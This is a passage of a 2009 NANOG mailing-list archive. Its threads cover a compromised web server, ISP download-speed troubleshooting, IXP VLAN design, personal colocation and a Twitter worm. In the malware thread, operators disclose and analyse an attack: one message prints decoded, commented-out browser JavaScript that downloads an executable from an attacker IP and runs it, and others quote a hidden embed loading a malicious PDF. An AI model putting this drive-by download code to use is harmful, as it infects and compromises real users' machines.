it grabs a PDF: >>> >> style="border:none"> >>> >>> That PDF is on the site, I haven't looked at it yet though. >>> >> >> Most likely a file that exploits a well-known vulnerability in Adobe >> Reader, which in turn probably loads malware from yet another location. >> >> We've been seeing a lot of this lately. >> > > Yes, definitely malicious: > > http://www.virustotal.com/analisis/89db7dec6cc786227462c947e4cb4a9b > > - - ferg > > -----BEGIN PGP SIGNATURE----- > Version: PGP Desktop 9.5.3 (Build 5003) > > wj8DBQFJ6QMwq1pz9mNUZTMRAqJZAKCEkD0KcifnJIhtex4nP6grIFGKzwCgnE1w > /K0hKsJiAz4RGu8VQkyP+js= > =AzJq > -----END PGP SIGNATURE----- > > > > -- > "Fergie", a.k.a. Paul Ferguson > ?Engineering Architecture for the Internet > ?fergdawgster(at)gmail.com > ?ferg's tech blog: http://fergdawg.blogspot.com/ > From jbabbinlists at gmail.com Fri Apr 17 17:39:14 2009 From: jbabbinlists at gmail.com (Jake Mailinglists) Date: Fri, 17 Apr 2009 18:39:14 -0400 Subject: Malicious code just found on web server In-Reply-To: References: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> <6cd462c00904171531y5aafa1e3y34022919b58e11db@mail.gmail.com> Message-ID: <118136780904171539w1a1541faybaff80236f955fff@mail.gmail.com> Nice, bad code is actually on all of the error (404) pages for the site as well as some other php pages. The code is actually a base64 obfuscation technique to hide the actual attack code. Once decode the code attempts multiple attacks to try and get the victim to download an executable hxxp://77.92.158.122/webmail/inc/web/load.php Virustotal results (3/40) http://www.virustotal.com/analisis/180fc9b96543139b8328f2ae0a2d1bf3 Also this code appears to be trying to exploit specific browser types (Chrome and Mozilla in particular) as can be seen from this code snippet of the decode. (Commented out each line just in case someone has a browser that will try and render this) //aaa_2626aKiupwzqp.setAttribute("style", "display: none; -moz-binding: url('chrome://xbl-marquee/content/xbl-marquee.xml#marquee-horizontal');"); //document.body.appendChild(aaa_2626aKiupwzqp); //var aaa_2626aLiupwzqp = aaa_2626aKiupwzqp.stop.eval.call(null, "Function"); //var aaa_2626aMiupwzqp = aaa_2626aLiupwzqp("return function(C){ var //file=C.classes['@ mozilla.org/file/local;1'].createInstance(C.interfaces.nsILocalFile); file.initW //ithPath('c:\\" + aaa_2626aHiupwzqp + ".exe'); return file; }")(); //window.file = aaa_2626aMiupwzqp(Components); //var aaa_2626aNiupwzqp = aaa_2626aLiupwzqp("return function(C){ return C.classes['@ mozilla.org/process/util;1'].createInstance(C.interfaces.nsIProcess); //}")(); //window.process = aaa_2626aNiupwzqp(Components); //var aaa_2626aOiupwzqp = aaa_2626aLiupwzqp("return function(C,file){ //io=C.classes['@ mozilla.org/network/io-service;1'].getService(C.interfaces.nsIIOService);source=i //o.newURI('http://77.92.158.122/webmail/inc/web/load.php ','UTF8',null);persist=C.classes['@ mozilla.org/embedding/browser/nsWebBrowserPersist;1'].createI//nstance(C.int //erfaces.nsIWebBrowserPersist);persist.persistFlags=8192|4096;persist.saveURI(source,null,null,null,null,file); return persist; }")(); //window.persist = aaa_2626aOiupwzqp(Components,window.file); //window.getState = aaa_2626aLiupwzqp("return function(persist) { return persist.currentState; }")(); //window.processRun = aaa_2626aLiupwzqp("return function(process,file) { process.init(file); process.run(false,[],0); }")(); Also attempts to download a hostile PDF file from a subdirectory underneath this one which was created with a demo copy of Foxit. hxxp://77.92.158.122/webmail/inc/web/include/two.pdf INFO: Version 2.321001 (possibly) Created: 2009-02-19 1448hrs (-2 timezone) There appear to be several other attacks within this code I can upload or update this thread if you are interested in the other attacks. Jake On Fri, Apr 17, 2009 at 6:34 PM, Chris Mills wrote: > You beat me to it. > > -ChrisAM > > On Fri, Apr 17, 2009 at 6:31 PM, Paul Ferguson > wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > > Hash: SHA1 > > > > On Fri, Apr 17, 2009 at 3:15 PM, Paul Ferguson > > wrote: > > > >> > >> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills > >> wrote: > >> > >>> I took a quick look at the code... formatted it in a pastebin here: > >>> http://pastebin.com/m7b50be54 > >>> > >>> That javascript writes this to the page (URL obscured): > >>> document.write(" >>> src=\"hXXp:// > 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| > >>> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" > >>> type=\"application/pdf\">"); > >>> > >>> The 1.2.3.4 in the URL is my public IP address (I changed that). > >>> > >>> Below the javascript, it grabs a PDF: > >>> >>> style="border:none"> > >>> > >>> That PDF is on the site, I haven't looked at it yet though. > >>> > >> > >> Most likely a file that exploits a well-known vulnerability in Adobe > >> Reader, which in turn probably loads malware from yet another location. > >> > >> We've been seeing a lot of this lately. > >> > > > > Yes, definitely malicious: > > > > http://www.virustotal.com/analisis/89db7dec6cc786227462c947e4cb4a9b > > > > - - ferg > > > > -----BEGIN PGP SIGNATURE----- > > Version: PGP Desktop 9.5.3 (Build 5003) > > > > wj8DBQFJ6QMwq1pz9mNUZTMRAqJZAKCEkD0KcifnJIhtex4nP6grIFGKzwCgnE1w > > /K0hKsJiAz4RGu8VQkyP+js= > > =AzJq > > -----END PGP SIGNATURE----- > > > > > > > > -- > > "Fergie", a.k.a. Paul Ferguson > > Engineering Architecture for the Internet > > fergdawgster(at)gmail.com > > ferg's tech blog: http://fergdawg.blogspot.com/ > > > > From jarruda-gter at jarruda.com Fri Apr 17 17:43:07 2009 From: jarruda-gter at jarruda.com (Julio Arruda) Date: Fri, 17 Apr 2009 18:43:07 -0400 Subject: downloading speed In-Reply-To: <1b5c1c150904171527o6e029c19x7a2f67bc458cf06c@mail.gmail.com> References: <20090417145714.A21DC7D6@resin15.mta.everyone.net> <1b5c1c150904171527o6e029c19x7a2f67bc458cf06c@mail.gmail.com> Message-ID: <49E905FB.7060206@jarruda.com> Several windows in the same PC, doing file transfer in parallel, each get the same speed as one. The speed is peaking at some specific speed every single time, and the several windows reach this peak. I smell classic TCP window size bumping into (bandwidth x delay). Have you tried with iperf, using UDP ? Mike Lyon wrote: > Have him do a traceroute from his PC or router to where he is trying to > download from. Where is it choking? > > On Fri, Apr 17, 2009 at 3:21 PM, chandrashakher pawar < > learn.chandra at gmail.com> wrote: > >> Configuration >> ================================ >> sh run interface FastEthernet1/3/1 >> Building configuration... >> Current configuration : 351 bytes >> ! >> interface FastEthernet1/3/1 >> description CUST:xxx >> bandwidth 100000 >> ip address 116.0.85.13 255.255.255.252 >> no ip redirects >> no ip directed-broadcast >> load-interval 30 >> negotiation auto >> no cdp enable >> end >> ======== >> No errors on the interface. >> none of our customer on this router has complait us this issue >> i have changed this to "negotiation auto" as suggested by one of our >> member. >> tommorow customer will test again and reply. >> round-trip-time is good, no bacbone chocked. >> Unit will not make bit differnce as: The customer tried troubleshooting the >> issue after connecting laptop directily to the 100 mbps link. >> In that case also the result was same. >> >> Regards >> Chandrashakher Pawar >> IPNOC >> Customer & Services Operations >> Tata communication AS6453 >> mobil + 91 9225633948 + 91 9324509268 >> learn.chandra at gmail.com >> >> >> >> >> >> >> >> On Fri, Apr 17, 2009 at 10:57 PM, Scott Weeks >> wrote: >>> >>> --- learn.chandra at gmail.com wrote: >>> From: chandrashakher pawar >>> >>> We are level one ISP. one of my customer is connected to fast ethernet. >>> His link speed 100,000 kbps. while downloading any thing from net he >>> downloading speed donot go above 200 kbps. >>> While doing multiple download he get aroung 200 kbps in every window. But >>> when he close all the windows no change in downloading speed is observed. >>> --------------------------------------------- >>> >>> >>> You would need to add more info for any meaningful troubleshooting to >>> occur. Do you see errors on the interface? Clear the counters and watch >>> for a while. >>> >>> scott >>> >>> From bill at funkyobriens.com Fri Apr 17 17:46:55 2009 From: bill at funkyobriens.com (Bill OBrien) Date: Fri, 17 Apr 2009 16:46:55 -0600 Subject: downloading speed In-Reply-To: References: <20090417145714.A21DC7D6@resin15.mta.everyone.net> Message-ID: <6296a52b0904171546i6f75d636ge88d2881a76bef36@mail.gmail.com> Based on the screen shot he's getting, 1536 bps or 192KB. Also if he is opening several windows but downloading from the same source it may be a congestion control mechanism on the server or hosting provider side. What's the utilization on the RT, DSLAM and BRAS, all factors to performance. Bill On Fri, Apr 17, 2009 at 4:21 PM, chandrashakher pawar < learn.chandra at gmail.com> wrote: > Configuration > ================================ > sh run interface FastEthernet1/3/1 > Building configuration... > Current configuration : 351 bytes > ! > interface FastEthernet1/3/1 > description CUST:xxx > bandwidth 100000 > ip address 116.0.85.13 255.255.255.252 > no ip redirects > no ip directed-broadcast > load-interval 30 > negotiation auto > no cdp enable > end > ======== > No errors on the interface. > none of our customer on this router has complait us this issue > i have changed this to "negotiation auto" as suggested by one of our > member. > tommorow customer will test again and reply. > round-trip-time is good, no bacbone chocked. > Unit will not make bit differnce as: The customer tried troubleshooting the > issue after connecting laptop directily to the 100 mbps link. > In that case also the result was same. > > Regards > Chandrashakher Pawar > IPNOC > Customer & Services Operations > Tata communication AS6453 > mobil + 91 9225633948 + 91 9324509268 > learn.chandra at gmail.com > > > > > > > > On Fri, Apr 17, 2009 at 10:57 PM, Scott Weeks >wrote: > > > > > > > --- learn.chandra at gmail.com wrote: > > From: chandrashakher pawar > > > > We are level one ISP. one of my customer is connected to fast ethernet. > > His link speed 100,000 kbps. while downloading any thing from net he > > downloading speed donot go above 200 kbps. > > While doing multiple download he get aroung 200 kbps in every window. But > > when he close all the windows no change in downloading speed is observed. > > --------------------------------------------- > > > > > > You would need to add more info for any meaningful troubleshooting to > > occur. Do you see errors on the interface? Clear the counters and watch > > for a while. > > > > scott > > > > > From sean at donelan.com Fri Apr 17 17:50:42 2009 From: sean at donelan.com (Sean Donelan) Date: Fri, 17 Apr 2009 18:50:42 -0400 (EDT) Subject: US west coast personal colo Message-ID: <200904171846250.2D3A1E03.6944@clifden.donelan.com> Is anyone still doing personal colo on the west coast? I'm looking for a new home for my personal server on the west coast, and it seems like the economy has taken out most of the old personal colo offers. Even the old web page on www.vix.com/personalcolo is gone. From bmanning at vacation.karoshi.com Fri Apr 17 17:56:31 2009 From: bmanning at vacation.karoshi.com (bmanning at vacation.karoshi.com) Date: Fri, 17 Apr 2009 22:56:31 +0000 Subject: US west coast personal colo In-Reply-To: <200904171846250.2D3A1E03.6944@clifden.donelan.com> References: <200904171846250.2D3A1E03.6944@clifden.donelan.com> Message-ID: <20090417225631.GA31058@vacation.karoshi.com.> On Fri, Apr 17, 2009 at 06:50:42PM -0400, Sean Donelan wrote:A > > Is anyone still doing personal colo on the west coast? I'm looking for a > new home for my personal server on the west coast, and it seems like > the economy has taken out most of the old personal colo offers. > Even the old web page on www.vix.com/personalcolo is gone. > A there are a few of us still around. --bill From randy at psg.com Fri Apr 17 18:12:20 2009 From: randy at psg.com (Randy Bush) Date: Sat, 18 Apr 2009 08:12:20 +0900 Subject: IXP In-Reply-To: <49E8D1E5.1070004@nipper.de> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> Message-ID: >> with the advent of vlan tags, the whole idea of CSMA for IXP networks >> is passe. just put each pair of peers into their own private tagged >> vlan and let one of them allocate a V4 /30 and a V6 /64 for it. as a >> bonus, this prevents third party BGP (which nobody really liked which >> sometimes got turned on by mistake) and prevents transit dumping >> and/or "pointing default at" someone. the IXP no longer needs any >> address space, they're just a VPN provider. shared-switch >> connections are just virtual crossconnects. > Large IXP have >300 customers. You would need up to 45k vlan tags, > wouldn't you? now arnold, you're spoiling a great idea. researchers could measure the exchnge to see if it ever fully converged (to steal a routing term). nice paper there, and who cares about working connectivity. randy From dr at cluenet.de Fri Apr 17 18:23:23 2009 From: dr at cluenet.de (Daniel Roesen) Date: Sat, 18 Apr 2009 01:23:23 +0200 Subject: IXP In-Reply-To: <20090417211032.GN51443@gerbil.cluepon.net> References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <20090417211032.GN51443@gerbil.cluepon.net> Message-ID: <20090417232323.GA17232@srv03.cluenet.de> On Fri, Apr 17, 2009 at 04:10:32PM -0500, Richard A Steenbergen wrote: > A far better way to implement this is with a web portal brokered virtual > crossconnect system, which provisions MPLS martini pwe or vpls circuits > between members. A couple of years ago I thought of the same, and discovered that some new MAEs were (supposed to be?) built on exactly that scheme. Hard to have really new ideas these days. :) http://meetings.apnic.net/meetings/19/docs/sigs/ix/ix-pres-bechly-mae-ext-services.pdf Best regards, Daniel -- CLUE-RIPE -- Jabber: dr at cluenet.de -- dr at IRCnet -- PGP: 0xA85C8AA0 From eddy at fasteddy.org Fri Apr 17 18:35:55 2009 From: eddy at fasteddy.org (Eddy Martinez) Date: Fri, 17 Apr 2009 16:35:55 -0700 Subject: Personal Colo Referral In-Reply-To: <311DD4F8-D48E-41EB-9349-4F0D474CE254@fasteddy.org> References: <311DD4F8-D48E-41EB-9349-4F0D474CE254@fasteddy.org> Message-ID: <46255789-4485-46D8-ABEE-3DA27AF6C948@fasteddy.org> Here is place for good rates and a good colo facility - http://unixmechanix.com/ And Nathan's personal blog - http://mybrainhurts.com/blog/ Eddy On Apr 17, 2009, at 4:05 PM, Eddy Martinez wrote: > Hi Sean, > > I saw your request on the Nanog list. > > I use and know Nathan in San diego - > > Nathan Hubbard - nathan at unixmechanix.com > > And his personal site - http://mybrainhurts.com/blog/ > > Good rates and good colo. > > Eddy From bruns at 2mbit.com Fri Apr 17 18:42:38 2009 From: bruns at 2mbit.com (Brielle Bruns) Date: Fri, 17 Apr 2009 17:42:38 -0600 Subject: US west coast personal colo In-Reply-To: <200904171846250.2D3A1E03.6944@clifden.donelan.com> References: <200904171846250.2D3A1E03.6944@clifden.donelan.com> Message-ID: <49E913EE.1000809@2mbit.com> On 4/17/09 4:50 PM, Sean Donelan wrote: > > Is anyone still doing personal colo on the west coast? I'm looking for a > new home for my personal server on the west coast, and it seems like > the economy has taken out most of the old personal colo offers. Even the > old web page on www.vix.com/personalcolo is gone. > > Depending on needs, I do have some space open in Tacoma for 1U or 2U servers. Plus we also have a Xen hosting platform in development. We aren't doing this for profit - just looking to make enough to be self sustaining and moving to a full cabinet. -- Brielle Bruns The Summit Open Source Development Group http://www.sosdg.org / http://www.ahbl.org From jay at west.net Fri Apr 17 18:59:34 2009 From: jay at west.net (Jay Hennigan) Date: Fri, 17 Apr 2009 16:59:34 -0700 Subject: downloading speed In-Reply-To: References: <20090417145714.A21DC7D6@resin15.mta.everyone.net> Message-ID: <49E917E6.7050504@west.net> chandrashakher pawar wrote: > No errors on the interface. > none of our customer on this router has complait us this issue > i have changed this to "negotiation auto" as suggested by one of our member. > tommorow customer will test again and reply. > round-trip-time is good, no bacbone chocked. > Unit will not make bit differnce as: The customer tried troubleshooting the > issue after connecting laptop directily to the 100 mbps link. > In that case also the result was same. Note that your screenshot displays bytes, not bits. So it will display one-eighth the download speed measured in bits. Check the TCP tuning on the downloading PC. The fact that multiple windows achieve a higher aggregate speed points to this. Use the Google link I supplied earlier, also search "Bandwidth-delay product". Are both ends of the link a substantial geographic distance (several miles) apart? Note that the adjustments for TCP tuning are to the TCP stack on the machine doing the download, not the network gear. -- Jay Hennigan - CCIE #7880 - Network Engineering - jay at impulse.net Impulse Internet Service - http://www.impulse.net/ Your local telephone and internet company - 805 884-6323 - WB6RDV From vixie at isc.org Fri Apr 17 19:08:04 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 00:08:04 +0000 Subject: IXP In-Reply-To: <49E8FE61.4030701@nipper.de> (Arnold Nipper's message of "Sat\, 18 Apr 2009 00\:10\:41 +0200") References: <20090417142128.GM29526@ronin.4ever.de> <000a01c9bf8b$d1ea4380$0a00000a@nil.si> <49E8D1E5.1070004@nipper.de> <50809.1240002364@nsa.vix.com> <49E8FBB3.2080500@nipper.de> <53636.1240005853@nsa.vix.com> <49E8FE61.4030701@nipper.de> Message-ID: Arnold Nipper writes: > On 18.04.2009 00:04 Paul Vixie wrote > >> ... has anybody ever run out of 1Q tags in an IXP context? > > Why? You only need 1 ;-) really? 1? at PAIX we started with three, two unicast (wrongheadedness) and one multicast, then added another unicast for V6. then came the VNI's, so i'm betting there are hundreds or thousands at most PAIX nodes today. are others just using one big shared network for everything? i should expand on something i said earlier on this thread. the progression i saw at PAIX and later saw from inside MFN was that most new peerings would happen on a shared port and then as that port filled up some peerings would move to PNI. given that success in these terms looks like a PNI, i'm loathe to build in any dependencies on the long term residency of a given peering on a shared multiaccess subnet. i should answer something said earlier: yes there's only 14 bits of tag and yes 2**14 is 4096. in the sparsest and most wasteful allocation scheme, tags would be assigned 7:7 so there'd be a max of 64 peers. it's more likely that tags would be assigned by increment, but it's still nowhere near enough for 300+ peers. however, well before 300 peers, there'd be enough staff and enough money to use something other than a switch in the middle, so that the "tagspace" would be per-port rather than global to the IXP. Q in Q is not how i'd build this... cisco and juniper both have hardware tunnelling capabilities that support this stuff... it just means as the IXP fabric grows it has to become router-based. i've spent more than several late nights and long weekends dealing with the problems of shared multiaccess IXP networks. broadcast storms, poisoned ARP, pointing default, unintended third party BGP, unintended spanning tree, semitranslucent loops, unauthorized IXP LAN extension... all to watch the largest flows move off to PNI as soon as somebody's port was getting full. conventional wisdom says a shared fabric is fine. conventional wisdom also said that UNIX came only from bell labs, that computers and operating systems were bought from the same vendor on a single PO, that protocols built for T1 customers who paid $1000 MRC would scale to DSL customers who paid $30 MRC, that Well and Portal shell users should be allowed to use outbound SMTP, that the internet would only be used cooperatively, and that business applications were written in COBOL whereas scientific applications were written in FORTRAN, and that the cool people all used BSD whereas Linux was just a toy. so i think conventional wisdom isn't perfectly ageless. -- Paul Vixie From nickellman at gmail.com Fri Apr 17 19:08:25 2009 From: nickellman at gmail.com (b nickell) Date: Fri, 17 Apr 2009 18:08:25 -0600 Subject: downloading speed In-Reply-To: References: Message-ID: Duplex Mismatch looks to be the problem. On Fri, Apr 17, 2009 at 3:23 PM, chandrashakher pawar < learn.chandra at gmail.com> wrote: > Dear Group member, > > We are level one ISP. one of my customer is connected to fast ethernet. > His link speed 100,000 kbps. while downloading any thing from net he > downloading speed donot go above 200 kbps. > While doing multiple download he get aroung 200 kbps in every window. But > when he close all the windows no change in downloading speed is observed. > > our router is C12KPRP-K4P-M > > Please advise what could be the cause? > > -- > Regards > > Chandrashakher Pawar > IPNOC > Customer & Services Operations > Tata communication AS6453 > mobil + 91 9225633948 + 91 9324509268 > learn.chandra at gmail.com > -- -B From vixie at isc.org Fri Apr 17 19:30:28 2009 From: vixie at isc.org (Paul Vixie) Date: Sat, 18 Apr 2009 00:30:28 +0000 Subject: www.vix.com/personalcolo (Re: US west coast personal colo) In-Reply-To: <200904171846250.2D3A1E03.6944@clifden.donelan.com> (Sean Donelan's message of "Fri\, 17 Apr 2009 18\:50\:42 -0400 \(EDT\)") References: <200904171846250.2D3A1E03.6944@clifden.donelan.com> Message-ID: i just restored http://www.vix.com/personalcolo/ from backup. last update 2007. i guess this calls for another round of "send me your updates, folks." re: Sean Donelan writes: > Is anyone still doing personal colo on the west coast? I'm looking for a > new home for my personal server on the west coast, and it seems like > the economy has taken out most of the old personal colo offers. Even the > old web page on www.vix.com/personalcolo is gone. > > > -- Paul Vixie From andrew.wallace at rocketmail.com Fri Apr 17 19:54:14 2009 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 18 Apr 2009 01:54:14 +0100 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing Message-ID: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> by n3td3v April 17, 2009 5:43 PM PDT "The teenager who takes credit for the worms that hit Twitter earlier this week has been hired by a Web application development firm and on Friday released a fifth worm on the microblogging site, he said." I hope the FBI nip him in the bud, this cannot continue, this needs to be made an example of. I want Law enforcement / Intelligence agency's to take control of the situation, now. http://news.cnet.com/8618-1009_3-10222373.html?communityId=2114&targetCommunityId=2114&blogId=83&messageId=7821482&tag=mncol;tback I want this individual made an example of and im not joking. Many thanks, Andrew Intelligencer & Founder of n3td3v British From fergdawgster at gmail.com Fri Apr 17 20:06:57 2009 From: fergdawgster at gmail.com (Paul Ferguson) Date: Fri, 17 Apr 2009 18:06:57 -0700 Subject: Malicious code just found on web server In-Reply-To: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> References: <6cd462c00904171515hc59181amd7127016e927dd32@mail.gmail.com> Message-ID: <6cd462c00904171806k3dd02c6cj344a8f2677c23ddf@mail.gmail.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills wrote: >> I took a quick look at the code... formatted it in a pastebin here: >> http://pastebin.com/m7b50be54 >> >> That javascript writes this to the page (URL obscured): >> document.write("> src=\"hXXp://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown| >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >> type=\"application/pdf\">"); >> >> The 1.2.3.4 in the URL is my public IP address (I changed that). >> >> Below the javascript, it grabs a PDF: >> > style="border:none"> >> >> That PDF is on the site, I haven't looked at it yet though. >> Not only is that .pdf malicious, when "executed" it also fetches additional malware from: hxxp:// test1.ru /1.1.1/load.php If that host is not in your block list, it should be -- known purveyor of crimeware. This is in addition to the other malicious URLs mentioned in this thread. - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI mxM8Ci/feKnJe6M6qbiESPw= =b0Yj -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/ From jbates at brightok.net Fri Apr 17 20:28:14 2009 From: jbates at brightok.net (Jack Bates) Date: Fri, 17 Apr 2009 20:28:14 -0500 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> References: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> Message-ID: <49E92CAE.1070408@brightok.net> andrew.wallace wrote: > I want this individual made an example of and im not joking. > And I'd like an example made of companies that ignore reports of security flaws and leave their customers open to such worms; not to mention giving the impression to misguided teenagers that the only way they will be heard is to release a worm. Historically, I believe some companies have ignored security concerns until someone (sometimes non-maliciously) released a worm. Of course, even non-malicious worms can have unpredictable results which result in catastrophic behavior. The earliest examples predate my residence on the network, but I've read a small bug made them extremely bad. Jack From andrew.wallace at rocketmail.com Fri Apr 17 20:38:12 2009 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 18 Apr 2009 02:38:12 +0100 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <49E92CAE.1070408@brightok.net> References: <4b6ee9310904171754o46a691e7y666fe99eda2de4a5@mail.gmail.com> <49E92CAE.1070408@brightok.net> Message-ID: <4b6ee9310904171838n556ebe47l4a259964ec258a66@mail.gmail.com> So if Al-Qaeda blow up a shopping centre and the guy who masterminded it turns out to be 17 he gets a job in MI5? OH MY GOD. On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates wrote: > andrew.wallace wrote: >> >> I want this individual made an example of and im not joking. >> > > And I'd like an example made of companies that ignore reports of security > flaws and leave their customers open to such worms; not to mention giving > the impression to misguided teenagers that the only way they will be heard > is to release a worm. > > Historically, I believe some companies have ignored security concerns until > someone (sometimes non-maliciously) released a worm. Of course, even > non-malicious worms can have unpredictable results which result in > catastrophic behavior. The earliest examples predate my residence on the > network, but I've read a small bug made them extremely bad. > > Jack > > From chaim.rieger at gmail.com Fri Apr 17 20:49:41 2009 From: chaim.rieger at gmail.com (Chaim Rieger) Date: Sat, 18 Apr 2009 01:49:41 +0000 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing Message-ID: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> And I want cnet to not report this crap. They glamorise it. ------Original Message------ From: andrew.wallace To: nanog at nanog.org To: n3td3v Subject: Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing Sent: Apr 17, 2009 18:38 So if Al-Qaeda blow up a shopping centre and the guy who masterminded it turns out to be 17 he gets a job in MI5? OH MY GOD. On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates wrote: > andrew.wallace wrote: >> >> I want this individual made an example of and im not joking. >> > > And I'd like an example made of companies that ignore reports of security > flaws and leave their customers open to such worms; not to mention giving > the impression to misguided teenagers that the only way they will be heard > is to release a worm. > > Historically, I believe some companies have ignored security concerns until > someone (sometimes non-maliciously) released a worm. Of course, even > non-malicious worms can have unpredictable results which result in > catastrophic behavior. The earliest examples predate my residence on the > network, but I've read a small bug made them extremely bad. > > Jack > > Sent via BlackBerry from T-Mobile From andrew.wallace at rocketmail.com Fri Apr 17 21:03:08 2009 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 18 Apr 2009 03:03:08 +0100 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> References: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> Message-ID: <4b6ee9310904171903n12df15d3v92c4b2b93d0d43e9@mail.gmail.com> All i'm saying is "Cyber Security" needs to be taken as seriously as "real life" security. Hopefully though the 60 day cyber security review by Melissa Hathaway will shake things up. Andrew On Sat, Apr 18, 2009 at 2:49 AM, Chaim Rieger wrote: > And I want cnet to not report this crap. > > They glamorise it. > ------Original Message------ > From: andrew.wallace > To: nanog at nanog.org > To: n3td3v > Subject: Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing > Sent: Apr 17, 2009 18:38 > > So if Al-Qaeda blow up a shopping centre and the guy who masterminded > it turns out to be 17 he gets a job in MI5? > > OH MY GOD. > > On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates wrote: >> andrew.wallace wrote: >>> >>> I want this individual made an example of and im not joking. >>> >> >> And I'd like an example made of companies that ignore reports of security >> flaws and leave their customers open to such worms; not to mention giving >> the impression to misguided teenagers that the only way they will be heard >> is to release a worm. >> >> Historically, I believe some companies have ignored security concerns until >> someone (sometimes non-maliciously) released a worm. Of course, even >> non-malicious worms can have unpredictable results which result in >> catastrophic behavior. The earliest examples predate my residence on the >> network, but I've read a small bug made them extremely bad. >> >> Jack >> >> > > > > Sent via BlackBerry from T-Mobile From orion at pirk.com Fri Apr 17 21:07:20 2009 From: orion at pirk.com (Steve Pirk) Date: Fri, 17 Apr 2009 19:07:20 -0700 (PDT) Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> References: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> Message-ID: I get it now... Chaim Rieger = netdev Nice trick. -- Steve On Sat, 18 Apr 2009, Chaim Rieger wrote: > And I want cnet to not report this crap. > > They glamorise it. > ------Original Message------ > From: andrew.wallace > To: nanog at nanog.org > To: n3td3v > Subject: Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing > Sent: Apr 17, 2009 18:38 > > So if Al-Qaeda blow up a shopping centre and the guy who masterminded > it turns out to be 17 he gets a job in MI5? > > OH MY GOD. > > On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates wrote: >> andrew.wallace wrote: >>> >>> I want this individual made an example of and im not joking. >>> >> >> And I'd like an example made of companies that ignore reports of security >> flaws and leave their customers open to such worms; not to mention giving >> the impression to misguided teenagers that the only way they will be heard >> is to release a worm. >> >> Historically, I believe some companies have ignored security concerns until >> someone (sometimes non-maliciously) released a worm. Of course, even >> non-malicious worms can have unpredictable results which result in >> catastrophic behavior. The earliest examples predate my residence on the >> network, but I've read a small bug made them extremely bad. >> >> Jack >> >> > > > > Sent via BlackBerry from T-Mobile From andrew.wallace at rocketmail.com Fri Apr 17 21:21:06 2009 From: andrew.wallace at rocketmail.com (andrew.wallace) Date: Sat, 18 Apr 2009 03:21:06 +0100 Subject: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing In-Reply-To: References: <73153127-1240019388-cardhu_decombobulator_blackberry.rim.net-1080590621-@bxe1209.bisx.prod.on.blackberry> Message-ID: <4b6ee9310904171921v30869a35mf9b47898367708e6@mail.gmail.com> The network community and the security community need to collaborate as much as possible to defeat the threats. I'm British and i'm hoping to make UK as secure as possible. We can only do this by pulling together and reporting intelligence between community's, either if that's on an open list such as Nanog or by invitation only lists run by law enforcement. It doesn't matter as long as both community's are focused on cyber security. Many thanks, Andrew On Sat, Apr 18, 2009 at 3:07 AM, Steve Pirk wrote: > I get it now... Chaim Rieger = netdev > Nice trick. > > -- > Steve > > On Sat, 18 Apr 2009, Chaim Rieger wrote: > >> And I want cnet to not report this crap. >> >> They glamorise it. >> ------Original Message------ >> From: andrew.wallace >> To: nanog at nanog.org >> To: n3td3v >> Subject: Re: Michael Mooney releases another worm: Law Enforcement / >> Intelligence Agency's do nothing >> Sent: Apr 17, 2009 18:38 >> >> So if Al-Qaeda blow up a shopping centre and the guy who masterminded >> it turns out to be 17 he gets a job in MI5? >> >> OH MY GOD. >> >> On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates wrote: >>> >>> andrew.wallace wrote: >>>> >>>> I want this individual made an example of and im not joking. >>>> >>> >>> And I'd like an example made of companies that ignore reports of security >>> flaws and leave their customers open to such 